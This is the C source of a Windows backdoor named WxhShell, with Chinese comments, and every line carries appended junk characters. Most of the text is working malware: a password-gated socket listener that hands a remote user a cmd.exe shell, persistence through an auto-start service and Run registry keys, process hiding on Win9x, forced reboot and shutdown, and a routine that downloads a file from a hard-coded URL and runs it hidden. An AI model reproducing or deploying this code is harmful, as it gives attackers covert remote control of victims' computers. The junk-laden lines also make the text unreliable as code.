    if(Boot(SHUTDOWN)) I+O !<S B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Sp MHR`  
    else { Q*$x!q  
    closesocket(wsh); xKsn);].`  
    ExitThread(0); e~rBV+f  
    } !0Xes0gK0  
    break; xNxIqq<k  
    } #_7}O0?c3  
  // 获取shell RWA|%/L  
  case 's': { 9FV#@uA}D  
    CmdShell(wsh); M~N'z /  
    closesocket(wsh); R52q6y:<x  
    ExitThread(0); )IZ$R*Y{  
    break; Ev0V\tl>0  
  } ?WUE+(oH>  
  // 退出 `p1`Sxz?  
  case 'x': { +$},Hu69j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #3u8BLy$Q  
    CloseIt(wsh); D>*%zz|  
    break; 3)0*hq&83  
    } T_AZCl4d  
  // 离开 NV9=~c x  
  case 'q': { Y]8l]l 1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BzWmV .5  
    closesocket(wsh);  |k 4+I  
    WSACleanup(); MiOSSl};  
    exit(1); ,PN>,hFL  
    break; FLy|+4D_%4  
        } !2&h=;i~V  
  } `m'2RNSc+#  
  } j-{WPJa4\  
\UB<'~z6!  
  // 提示信息 sOJ"~p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yMz@-B  
} 2?-}(F;Z  
  } hDp'=}85@  
)_bXKYUX*0  
  return; uF(- h~  
} %8{' XJ!  
b:%>T PT  
// shell模块句柄 @~gz-l^$  
int CmdShell(SOCKET sock) OZt'ovY  
{ ~=c^ Oo:  
STARTUPINFO si; .Uih|h  
ZeroMemory(&si,sizeof(si)); |y'q`cY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aUA+%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #lVVSrF,-  
PROCESS_INFORMATION ProcessInfo; >) S a#w;  
char cmdline[]="cmd"; ?on3z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o)-Qd3d%S  
  return 0; ;UPw;'  
} #),QWTl3  
!4z"a@$  
// 自身启动模式 `C!Pe84(  
int StartFromService(void) t5e(9Yhj  
{ BwBv 'p+n  
typedef struct $rjv4e}7  
{ ruE.0VI@  
  DWORD ExitStatus; n7{c0;)$  
  DWORD PebBaseAddress; sHEISNj/^  
  DWORD AffinityMask; TS1 k'<c?  
  DWORD BasePriority; C2`END;  
  ULONG UniqueProcessId; AMO{?:8Y;  
  ULONG InheritedFromUniqueProcessId; ?NHh=H\7u  
}   PROCESS_BASIC_INFORMATION; z-,U(0 .  
Y+G4:  
PROCNTQSIP NtQueryInformationProcess; Y@.:U*  
8H{@0_M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zizrc.g/Yg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }QC: !e,yG  
6xj&Qo  
  HANDLE             hProcess; p$"*U[%l  
  PROCESS_BASIC_INFORMATION pbi; da 2BQ;  
2oq>tnYyV[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y}Qu-fm  
  if(NULL == hInst ) return 0; x&?35B i  
khEHMvVH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rP>5OLP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %Y!lEzB5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sjzZl*GSy  
#FeM.k6  
  if (!NtQueryInformationProcess) return 0; thq(tK7  
WS,p}:yPZG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \GPWC}V\s  
  if(!hProcess) return 0; kszYbz"  
2j_L jY'7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g/T`4"p[H  
k-w._E <  
  CloseHandle(hProcess); `|]juc  
GadD*psD2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0gnr@9,X  
if(hProcess==NULL) return 0; ]i{-@Ven  
Y%Saz+  
HMODULE hMod; xOEj+%M  
char procName[255]; N b+zP[C  
unsigned long cbNeeded; i  #8)ad  
iXXgPapz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9v/1>rziE  
EpPKo  
  CloseHandle(hProcess); zR]l2zL3  
&:Raf5G-E  
if(strstr(procName,"services")) return 1; // 以服务启动 Plt~l3_  
! 5]/2  
  return 0; // 注册表启动 C/lp Se  
} Wny{qj)=  
iao_w'tJ  
// 主模块 k}JjSt1_A;  
int StartWxhshell(LPSTR lpCmdLine) ^gD&NbP8  
{ _d,_&7  
  SOCKET wsl; y/ vE  
BOOL val=TRUE; hfVJg7-  
  int port=0; fF<~2MiKw  
  struct sockaddr_in door; z!?xz  
UDGVq S!,E  
  if(wscfg.ws_autoins) Install(); dTS 7l02  
td{$ c6  
port=atoi(lpCmdLine); j#.Aiy:,  
<Y<%=`  
if(port<=0) port=wscfg.ws_port; rr9N(AoxW  
1;S@XC>  
  WSADATA data;  iCa#OQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +>Y2luR1  
Np+<)q2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S0du, A~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -=@d2LY  
  door.sin_family = AF_INET; HZ )z^K?1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oyK'h9Wt1  
  door.sin_port = htons(port); z'j4^Xz?%$  
RMDzPda.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |!,;IoZ  
closesocket(wsl); _-$(=`8|<{  
return 1; KZ>cfv-&a  
} ,F!zZNW9  
#8i DM5:EQ  
  if(listen(wsl,2) == INVALID_SOCKET) { +9<"Y6  
closesocket(wsl); eD 4X:^@  
return 1; xG/B$DLn  
} 8,7^@[bzXx  
  Wxhshell(wsl); gE\&[;)DB  
  WSACleanup(); #p*D.We  
"m4. _4U  
return 0; s'b 4Me  
u%!/-&?wF  
} T\?$7$/V  
+saXN6  
// 以NT服务方式启动 %PM&`c98z7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !K*(# [  
{ ti'B}bH>'  
DWORD   status = 0; & %A&&XT9  
  DWORD   specificError = 0xfffffff; `i`+yh>pc#  
VK286[[fv  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  |W_;L6)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N,W ?}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mX 3p   
  serviceStatus.dwWin32ExitCode     = 0; *IX<&u#  
  serviceStatus.dwServiceSpecificExitCode = 0; iR?}^|]  
  serviceStatus.dwCheckPoint       = 0; Rjp7H  
  serviceStatus.dwWaitHint       = 0; MH=7(15R  
1r$*8 |p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <aztbq?  
  if (hServiceStatusHandle==0) return; plL|Ubn  
A:y HClmn  
status = GetLastError(); qG@YNc  
  if (status!=NO_ERROR) 0vETg'r  
{ <qg4Rz\c]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WP2=1"X63  
    serviceStatus.dwCheckPoint       = 0; @A4$k dJ2  
    serviceStatus.dwWaitHint       = 0; (\0 <|pW  
    serviceStatus.dwWin32ExitCode     = status; H2H`7 +I,  
    serviceStatus.dwServiceSpecificExitCode = specificError; E\|nP~;~F9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8EI9&L>  
    return; o]E L=j  
  } p^CTHk_|  
h PL]B_<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oNZ_7tU  
  serviceStatus.dwCheckPoint       = 0; (:aU"5M  
  serviceStatus.dwWaitHint       = 0; nl qn:[BU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'IG@JL'  
} v\GVy[Qyv  
Y=p!xr>  
// 处理NT服务事件,比如:启动、停止 4qdoF_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U.KQjBi  
{ N+'j on}U  
switch(fdwControl) B*N1)J\5  
{ O&1qL)  
case SERVICE_CONTROL_STOP: In?=$_p  
  serviceStatus.dwWin32ExitCode = 0; Keozn*fzI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s'h;a5Q1'Q  
  serviceStatus.dwCheckPoint   = 0; ,Klv[_x7  
  serviceStatus.dwWaitHint     = 0; )rq |t9kix  
  { MfP)Pk5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z@yTkH_  
  } 0?<#!  
  return; v8)"skVnFG  
case SERVICE_CONTROL_PAUSE: =eDIvNps  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OvtE)u l@  
  break; 27EK +$  
case SERVICE_CONTROL_CONTINUE: P( hGkY=(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VG);om7`PD  
  break; nN\H'{Wzd  
case SERVICE_CONTROL_INTERROGATE: 5J10S  
  break; unLhI0XW  
}; xWxc1tT`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $VuXr=f}  
} WwDM^}e  
4f([EV[6dK  
// 标准应用程序主函数 %GHGd'KO&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Dwp,d~z  
{ >2'"}np*  
xG9Sk  
// 获取操作系统版本 K:wI'N"N  
OsIsNt=GetOsVer(); FEaT}/h;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *yu}e)(0  
u^1#9bAW8  
  // 从命令行安装 {KG6#/%;  
  if(strpbrk(lpCmdLine,"iI")) Install(); " 8xAe0-4  
D|N4X`T`  
  // 下载执行文件 (N7 uaZ?Z  
if(wscfg.ws_downexe) { T5(S2^)o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qqrjI.  
  WinExec(wscfg.ws_filenam,SW_HIDE); *l+#<5x  
} aD^$v  
@^P^- B  
if(!OsIsNt) { \^x{NV@v42  
// 如果时win9x,隐藏进程并且设置为注册表启动 IS2cU'   
HideProc(); 6l#x1o;  
StartWxhshell(lpCmdLine); L*6'u17y  
} =V^-@ji)b  
else l~c[}wv  
  if(StartFromService()) #BC"bY  
  // 以服务方式启动 mdj%zJ8/  
  StartServiceCtrlDispatcher(DispatchTable); b/wpk~qi  
else E}@C4pS  
  // 普通方式启动  {>]\<  
  StartWxhshell(lpCmdLine); <ql,@*Y  
r|Ui1f5  
return 0; h051Ol\v*  
} C($l'jd&  
d1b] +AG4  
=Zd(<&B K  
w!.@64-  
=========================================== s]arNaaA  
@60D@Y  
aurs~  
{/'T:n#  
*FlPGBjJ  
asT-=p_ 0.  
" !?2)a pM  
hAGHb+:  
#include <stdio.h> $l7^-SK`E  
#include <string.h> Ei;tfB  
#include <windows.h> .E4* >@M5  
#include <winsock2.h> @:lM|2:  
#include <winsvc.h> NGx3f3 9  
#include <urlmon.h> $ghZ<Y2}9  
5/meH[R\M  
#pragma comment (lib, "Ws2_32.lib") \Wbmmd}8  
#pragma comment (lib, "urlmon.lib") ?t#wK}d.  
Q;h.}N8W  
#define MAX_USER   100 // 最大客户端连接数 ZnG.::&:  
#define BUF_SOCK   200 // sock buffer ^D yw(>9  
#define KEY_BUFF   255 // 输入 buffer )vp0X\3q`  
A1WUK=P  
#define REBOOT     0   // 重启 55[ 4)*  
#define SHUTDOWN   1   // 关机 K,b M9>}  
LQ+/|_(.  
#define DEF_PORT   5000 // 监听端口 6{Wo5O{!\  
)*')  
#define REG_LEN     16   // 注册表键长度 91-bz^=xO  
#define SVC_LEN     80   // NT服务名长度 Gp"GTPT{  
Sg#XcTG  
// 从dll定义API dzVi ~wt_&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z8$}Rpo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D=tZ}_'{t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S-Uod y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0[;2dc  
E$8JrL  
// wxhshell配置信息 FG?Mc'r&  
struct WSCFG { G\.~/<Mg+  
  int ws_port;         // 监听端口 h2l;xt  
  char ws_passstr[REG_LEN]; // 口令 U& ?hG>  
  int ws_autoins;       // 安装标记, 1=yes 0=no |Uh8b %  
  char ws_regname[REG_LEN]; // 注册表键名 .@1+}0  
  char ws_svcname[REG_LEN]; // 服务名 T$Z9F^w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <p@Cx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Epzg|L1)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bIQ,=EA1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m|*B0GW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _Q V=3UWP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o)`PS w=  
mHD_cgKN  
}; !_W:%t)g  
AGBV7Kk  
// default Wxhshell configuration MP]<m7669*  
struct WSCFG wscfg={DEF_PORT, 'Zx5+rM${}  
    "xuhuanlingzhe", ]#/nn),Z  
    1, `L1,JE` q  
    "Wxhshell", i'tMpS3  
    "Wxhshell", XS<>0YM  
            "WxhShell Service", 7 qKz_O  
    "Wrsky Windows CmdShell Service", ?R`S-  
    "Please Input Your Password: ", Zxk~X}K\P  
  1, iP:i6U]  
  "http://www.wrsky.com/wxhshell.exe", PKm|?kn{0(  
  "Wxhshell.exe" 05UN <l]  
    }; 1gI7$y+?  
`oRyw6Sko  
// 消息定义模块 5Xy(za  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *k?:k78L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oFk2y^>u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l;8t%JV5  
char *msg_ws_ext="\n\rExit."; r>mBe;[TX  
char *msg_ws_end="\n\rQuit."; Cq5.gkS<  
char *msg_ws_boot="\n\rReboot..."; +qi& ?}  
char *msg_ws_poff="\n\rShutdown..."; "Ih3  
char *msg_ws_down="\n\rSave to "; !2!~_*sGe  
sz7*x{E  
char *msg_ws_err="\n\rErr!"; 3:nhZN/95T  
char *msg_ws_ok="\n\rOK!"; (leX` SN0u  
'|yxB')  
char ExeFile[MAX_PATH]; z8=THz2f  
int nUser = 0; 2=cx`"a$  
HANDLE handles[MAX_USER]; `kKssU<  
int OsIsNt; *)^6'4=  
c[@_t.%)  
SERVICE_STATUS       serviceStatus; K)SWM3r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bwg(f_[1  
>a3m!`lq  
// 函数声明 UB~K/r`.|  
int Install(void); <^S\&v1C_  
int Uninstall(void); 4KPn V+h"b  
int DownloadFile(char *sURL, SOCKET wsh); KQ~y;{h?b  
int Boot(int flag); 0aT:Gy;  
void HideProc(void); RhYe=Qh4{p  
int GetOsVer(void); Jv~R/qaaD  
int Wxhshell(SOCKET wsl); '1u?-2  
void TalkWithClient(void *cs); 'h$:~C  
int CmdShell(SOCKET sock); g-3^</_fZ  
int StartFromService(void); E|pT6  
int StartWxhshell(LPSTR lpCmdLine); #N{]  
IIk_!VzT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j26i+Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n%Oi~7>  
=By@%ioIGG  
// 数据结构和表定义 rgy I:F.  
SERVICE_TABLE_ENTRY DispatchTable[] = b'4a;k!rS  
{ 082}=Tsx   
{wscfg.ws_svcname, NTServiceMain}, PRfq_:xy  
{NULL, NULL} ED0cnr\yG  
}; , ['}9:f9  
[$3+5K#  
// 自我安装 &M-vKc"d  
int Install(void) ]9!y3"..W{  
{ 9J:|"@)N  
  char svExeFile[MAX_PATH]; Q#MB=:0 {  
  HKEY key; Whd >  
  strcpy(svExeFile,ExeFile); z ]f(lwo{  
S1|5+PPs  
// 如果是win9x系统,修改注册表设为自启动 %oBP6|e  
if(!OsIsNt) { "#)|WVa=BM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jm!,=} oP'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'Agw~ &$  
  RegCloseKey(key); [aSuEu?mC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #7;?Ls  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^%!{qAp}Z  
  RegCloseKey(key); Y:CX RU6eD  
  return 0; &JX<)JEB=<  
    } re*Zs}(N\  
  } 6B]=\H  
} B/X$ZQ0  
else { DE.].FD'  
*VsGa<V  
// 如果是NT以上系统,安装为系统服务  Z 9:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :2lpl%/  
if (schSCManager!=0) &G2&OFAr]q  
{ s AFn.W  
  SC_HANDLE schService = CreateService aEdA'>  
  ( /mwUDf6x  
  schSCManager, MK3h~`is  
  wscfg.ws_svcname, !h1:AW_iz  
  wscfg.ws_svcdisp, NU=2*gM  
  SERVICE_ALL_ACCESS, `h'+4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !4Aj#`)  
  SERVICE_AUTO_START, :G>w MMv&z  
  SERVICE_ERROR_NORMAL, B*_K}5UO  
  svExeFile, UIDeMz  
  NULL, Muwlehuq  
  NULL, WVD48}HF-  
  NULL, 3;buC|ky  
  NULL, YE@yts  
  NULL 0{vT`e'  
  ); j-d&4,a:c  
  if (schService!=0) c:7V..   
  { } E ]l4N2  
  CloseServiceHandle(schService); %%ouf06.|  
  CloseServiceHandle(schSCManager); ZBDF>u@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \ Bj{.jL  
  strcat(svExeFile,wscfg.ws_svcname); oeg Bk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { id" `o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); # bHkI~  
  RegCloseKey(key); (rFiHv5  
  return 0; ,c"J[$i$  
    } j4,y+ 9U  
  } mhVLlb Y|t  
  CloseServiceHandle(schSCManager); 8#;=>m%  
} ;N#}3lpLqg  
} FD[*Q2fU  
^R:&c;&,  
return 1; ^'[QCwY~  
} |K_%]1*riC  
Btxtu"]nJo  
// 自我卸载 )Zr\W3yWX  
int Uninstall(void) F%<*a,m6g  
{ t$du|q(  
  HKEY key; cO7ii~&%!  
$M)SsD~  
if(!OsIsNt) { z=KDkpV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nQQHm6N  
  RegDeleteValue(key,wscfg.ws_regname); EF!J#N2  
  RegCloseKey(key); 1N(#4mE=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (1|wM+)"  
  RegDeleteValue(key,wscfg.ws_regname); @Dfg6<0  
  RegCloseKey(key); @]q^O MLY  
  return 0; C IMI?  
  } Hk;;+'-  
} e4Nd  
} i#>t<g`l  
else { x)=l4A\  
7YD+zd:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FbroI>"e  
if (schSCManager!=0) a%.W9=h=M(  
{ +Kb 7N, "  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [hSJ)IZh  
  if (schService!=0) ('J@GTe@xj  
  { 7P2n{zd,  
  if(DeleteService(schService)!=0) { ;*Vnwt A  
  CloseServiceHandle(schService); jUM'f24  
  CloseServiceHandle(schSCManager); xgMh@@e  
  return 0; ;Tnid7:S  
  } Fc@R,9  
  CloseServiceHandle(schService); g ptf*^s  
  } 3as=EYm  
  CloseServiceHandle(schSCManager); .F8[;+  
} J@:Q(  
} zEU[u7%  
VA[EY`8  
return 1; 2|^@=.4\  
} ]UUa/ep-  
'>t&fzD0  
// 从指定url下载文件 BeLD`4K  
int DownloadFile(char *sURL, SOCKET wsh) -y|J_;EG  
{ #?w07/~L  
  HRESULT hr; U.,S.WP+d  
char seps[]= "/"; $,@}%NlHc  
char *token; U4=l`{5on  
char *file; \"(?k>]E  
char myURL[MAX_PATH]; cZ_)'0  
char myFILE[MAX_PATH]; )9"^ D  
Oe;#q  
strcpy(myURL,sURL); |\Jnr3)  
  token=strtok(myURL,seps); KV$&qM.  
  while(token!=NULL) x4_MbUe  
  { zEFS\nP}E  
    file=token; iY/2 `R  
  token=strtok(NULL,seps); =KHb0d |.  
  } ~Pw9[ycn3  
0\XWdTj{  
GetCurrentDirectory(MAX_PATH,myFILE); **%&|9He  
strcat(myFILE, "\\"); ]6B9\C.2-_  
strcat(myFILE, file); f;^ +q-Q  
  send(wsh,myFILE,strlen(myFILE),0); V?S}%-a  
send(wsh,"...",3,0); kVQm|frUz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w\GJ,e  
  if(hr==S_OK) r1< 'l  
return 0; l%2VA  
else |K1S(m<F  
return 1; -c&=3O!  
se %#U40*  
} S'34](9n6  
UDr 1t n  
// 系统电源模块 ((A@VcX  
int Boot(int flag) [<@T%yq  
{ +@?Q"B5u}  
  HANDLE hToken; P}8hK   
  TOKEN_PRIVILEGES tkp; MS;^:t1`  
jdG2u p  
  if(OsIsNt) { KsOSPQDGE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >u> E !5O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s`=| D'G(=  
    tkp.PrivilegeCount = 1; "qq$i35x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h@R n)D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gGvL6Fu  
if(flag==REBOOT) { M}o.= Iqa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #).^k-  
  return 0; k*;U?C!  
} 3g!Z[SZ  
else { EM@|^47$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9ia&/BT7"z  
  return 0; Z~Q5<A9Jz  
} h>!h|Ma  
  } <lFHmi$qt{  
  else { sC\?{B0 r  
if(flag==REBOOT) { \m|5Aqs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o(e(| k {  
  return 0; |u%;"N'p)  
} o=Z:0Ukl]  
else { 1oO(;--u_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _UTN4z2aTG  
  return 0; 3\Xk)a_  
} R-zS7Jyox  
} uB"B{:Kz  
t8RtJ2;  
return 1; X$;x2mz nM  
} (enr{1  
-%J9!(  
// win9x进程隐藏模块 GCYXDovh  
void HideProc(void) /F.<Gz;w  
{ $&.(7F^D  
^E/6 vG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hx+r9w  
  if ( hKernel != NULL ) s2,6aW C  
  { vWmt<E|e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VTL_I^p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r[ k  
    FreeLibrary(hKernel); U~BR8]=G  
  } ih)\P0wed  
? ;Sg,.J  
return; J[l7p6xk  
} &zgliT!If  
O6$,J1 2l  
// 获取操作系统版本 0 J"g"=  
int GetOsVer(void) Fp?M@  
{ W"s/ 8;  
  OSVERSIONINFO winfo; /NB|N*}O)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p/0dtnXa(  
  GetVersionEx(&winfo); .I|b9$V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [}Xw/@Uc;  
  return 1; GBZu<t/  
  else B7qi|Fw  
  return 0; N4qBCBr(  
} U7U&^s6`  
xC + >R1)  
// 客户端句柄模块 L}Sb0 o.  
int Wxhshell(SOCKET wsl) U43U2/^  
{ _~1O#*|4  
  SOCKET wsh; g'km*EV  
  struct sockaddr_in client; 30w(uF  
  DWORD myID; ;L76V$&  
WllQM,h  
  while(nUser<MAX_USER) lhE]KdE3  
{ KJ&I4CU]^  
  int nSize=sizeof(client); u-.5rH l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PU\xFt  
  if(wsh==INVALID_SOCKET) return 1; =v|$dDz  
R'F\9eyA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &<&eKq  
if(handles[nUser]==0) /!5cf;kl*l  
  closesocket(wsh); W4qT]m  
else ;x_T*} CH  
  nUser++; =<(6yu_  
  } U7zd7 O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4Af7x6a;  
s 64@<oU<"  
  return 0; .pxUO3g  
} 0"\js:-$  
UaXIrBc  
// 关闭 socket B|^=2 >8s  
void CloseIt(SOCKET wsh) }# Ji"e  
{ @GweNo`p7  
closesocket(wsh); {6)H.vpP  
nUser--; W>CG;x{  
ExitThread(0); `} 'o2oZnG  
} lUnC+w#[  
J8@bPS27q  
// 客户端请求句柄 HD$ r<bl  
void TalkWithClient(void *cs) )ARV>(  
{ _w <6o<@  
H%>cpwa[7  
  SOCKET wsh=(SOCKET)cs; CC`#2j  
  char pwd[SVC_LEN]; >A L^y( G  
  char cmd[KEY_BUFF]; 0LHge7482  
char chr[1]; C?g*c  
int i,j; dqt}:^L*0g  
]xV2= !J  
  while (nUser < MAX_USER) { ?ZKIs9E[m  
5Yk|  
if(wscfg.ws_passstr) { ;,KT+!H$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d$MewDW UN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CfOhk  
  //ZeroMemory(pwd,KEY_BUFF); .'1]2/ad  
      i=0; (H|^Ow5  
  while(i<SVC_LEN) { TDR#'i  
u69G #  
  // 设置超时 Ao9=TC'v$'  
  fd_set FdRead; &:C(,`~  
  struct timeval TimeOut; @G>&Gu;5  
  FD_ZERO(&FdRead); OOz;/kay  
  FD_SET(wsh,&FdRead); Oh=Kl3xs  
  TimeOut.tv_sec=8; cbx( L8  
  TimeOut.tv_usec=0; fdKTj =4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -A"0mS8L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6bpO#&T  
a/q8vP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2ZMVYa2%(  
  pwd=chr[0]; &nn+X%m9g  
  if(chr[0]==0xd || chr[0]==0xa) { S)@) @3  
  pwd=0; 1 u~.^O}J  
  break; d[e;Fj!  
  } KJ6:ZTbW  
  i++; o2riy'~  
    } Z9I ?j1K|!  
J#k.!]r,Y  
  // 如果是非法用户,关闭 socket |0N1]Hf   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ==W] 1@s  
} u6p nO  
4,6nk.$yN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uI&<H T?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l$!g# ?w  
@1peJJ{  
while(1) { 6[C>"s}Ol  
a)M#O\i`  
  ZeroMemory(cmd,KEY_BUFF); ( |Xc_nC  
^Ea^t.c}_  
      // 自动支持客户端 telnet标准   !p e!Z-,  
  j=0; Z= /bD*\g  
  while(j<KEY_BUFF) { ~f!iz~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vEb_z[gd  
  cmd[j]=chr[0]; Vbpt?1:  
  if(chr[0]==0xa || chr[0]==0xd) { vWpkU<&3|  
  cmd[j]=0; @D&}ZV=J  
  break; =5X(RGK  
  } 6 g`Y~ii  
  j++; NYN(2J  
    } >_um-w#C  
:k.C|V!W  
  // 下载文件 _,9/g^<  
  if(strstr(cmd,"http://")) { .UJjB}4$f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N2S7=`5/T  
  if(DownloadFile(cmd,wsh)) hNJubTSE+)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \A9hYTC)  
  else ZA/:\6gm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 75t5:>"[  
